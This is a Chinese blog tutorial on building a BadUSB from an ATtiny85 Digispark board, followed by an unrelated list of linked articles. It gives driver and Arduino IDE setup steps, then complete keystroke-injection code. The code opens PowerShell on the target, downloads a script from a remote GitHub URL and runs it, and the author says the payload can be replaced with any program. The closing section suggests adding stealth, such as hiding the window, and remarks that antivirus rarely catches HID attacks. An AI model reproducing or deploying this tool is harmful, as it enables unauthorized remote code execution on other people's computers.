0x00.准备:

  ATiny85的板子

  淘宝十元包邮。有两款,两款都可以,建议选择左边的,这样可以直接插入USB口,第二款也可以,不过需要一根Micro的数据线(旧款安卓手机使用的线)。

  

  电脑安装驱动
  当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

  https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

  下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。

  

  下图是驱动安装完成的截图.

  配置烧录软件
  推荐使用Arduino IDE。到Arduino官方网站进行下载安装
  下载网址:https://www.arduino.cc/en/Main/Software?setlang=cn

  进入程序界面后,点击 文件 --> 首选项。
  将http://digistump.com/package_digistump_index.json 复制到红色线框标记的地方。

  然后在 工具 选择Boards Manager...

  

  等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。

  下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP

  插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
  烧录进去程序后,设备管理器就不会闪了。

0x02.烧录代码

  贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit"); } void loop() { }

  将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。

  如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!

0x03.总结

  此脚本还有很多不完善的地方,这里为了方便自己可以调试,以及可以看到所有过程,所以没有做一些“隐蔽性”工作,后续可以自己完善。(比如,使用cmd窗口来执行powershell命令,以及对cmd窗口进行小窗口来隐藏一下。)
  目前杀毒软件对HID攻击检测不敏感,通过模拟键盘输入,来达到快速将想要执行的代码在目标主机上执行。

  

利用ATiny85制作BadUSB的更多相关文章

  1. Arduino+Avr libc制作Badusb原理及示例讲解

    一. 前言 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有 ...

  2. 利用TabHost制作QQ客户端标签栏效果(低版本QQ)

    学习一定要从基础学起,只有有一个好的基础,我们才会变得更加的perfect 下面小编将利用TabHost制作QQ客户端标签栏效果(这个版本的QQ是在前几年发布的)…. 首先我们看一下效果: 看到这个界 ...

  3. 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片

    利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...

  4. C#利用API制作类似QQ一样的右下角弹出窗体

    C#利用API制作类似QQ一样的右下角弹出窗体 (2009-03-21 15:02:49) 转载▼ 标签: 杂谈 分类: .NET using System;using System.Collecti ...

  5. 【百度地图API】如何利用PhoneGap制作地图APP

    原文:[百度地图API]如何利用PhoneGap制作地图APP 摘要:百度地图API是一套由javascript编写的地图程序接口,按说它应该运行在浏览器上.现在,只要利用PhoneGap,我们就能开 ...

  6. 利用CSS3制作淡入淡出动画效果

    CSS3新增动画属性“@-webkit-keyframes”,从字面就可以看出其含义——关键帧,这与Flash中的含义一致. 利用CSS3制作动画效果其原理与Flash一样,我们需要定义关键帧处的状态 ...

  7. 【203】利用UltraISO制作和刻录光盘映像的方法

    参考:利用UltraISO制作和刻录光盘映像的方法 软件:UltraISO注册版(制作镜像).rar 目录: 1.利用UltraISO制作光盘映像2.利用UltraISO刻录光盘映像文件 1.利用Ul ...

  8. 利用jquery制作滚动到指定位置触发动画

    <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>利用 ...

  9. WPF利用radiobutton制作菜单按钮

    原文:WPF利用radiobutton制作菜单按钮 版权声明:欢迎转载.转载请注明出处,谢谢 https://blog.csdn.net/wzcool273509239/article/details ...

随机推荐

  1. Artwork

    A template for an artwork is a white grid of n × m squares. The artwork will be created by painting  ...

  2. OSG嵌入QT(QT界面使用Qt Designer编辑)

    本文主要内容:使用Qt Designer编辑好QT界面后,将OSG中的ViewerWidget嵌入到QT的Widget中. 在VS中嵌入QT工具,建立QT GUIApplication后,打开自动生成 ...

  3. Apriori算法思想和其python实现

    第十一章 使用Apriori算法进行关联分析 一.导语 "啤酒和尿布"问题属于经典的关联分析.在零售业,医药业等我们经常需要是要关联分析.我们之所以要使用关联分析,其目的是为了从大 ...

  4. 代码生成平台Xxl-Code-Generator

    <代码生成平台Xxl-Code-Generator> 一.简介 1.1 概述 Xxl-Code-Generator 是一个 "controller/service/dao/myb ...

  5. Python 描述符是什么?以及如何实现

    先看一个例子,@property.被@property修饰的成员函数,将变为一个描述符.这是最简单的创建描述符的方式. class Foo: @property def attr(self): pri ...

  6. 学习Layui 第一天

    Layui 官网说这是款经典模块化前端框架 个人觉得Layui很好用,容易上手. 在学习Layui的之前.先去官网下载必要的文件 将这些文件放入项目当中 然后可以到官网看一下示例. 可以做一个简单的表 ...

  7. vsts + XX云服务器构建netcore+docker持续集成交付部署

    持续集成交付部署是什么意思,它给我们带来什么好处? 先贴一张图 持续集成(Continuous Integration) 持续集成强调开发人员提交了新代码之后,立刻进行构建.(单元)测试(这个要看情况 ...

  8. 最值得收藏的java技术博客(Java篇)

    第一个:java_my_life 作者介绍:找不到原作者信息.大概做了翻阅全部是2012年的博客. 博客主要内容:主要内容是关于Java设计模式的一些讲解和学习笔记,在相信对学习设计模式的同学帮助很大 ...

  9. SSM-Spring-05:Spring的bean是单例还是多例,怎么改变?

    ------------吾亦无他,唯手熟尔,谦卑若愚,好学若饥------------- Spring的bean是单例的 它在Spring容器初始化的时候创建对象 可以修改为多例,在此bean节点中添 ...

  10. thinkphp 自动生成模块目录结构

    要达到的目的 在application目录下创建自定义模块如admin,用命令行方式自动创建该目录及目录下默认结构 要运行的命令 > php think build --module admin ...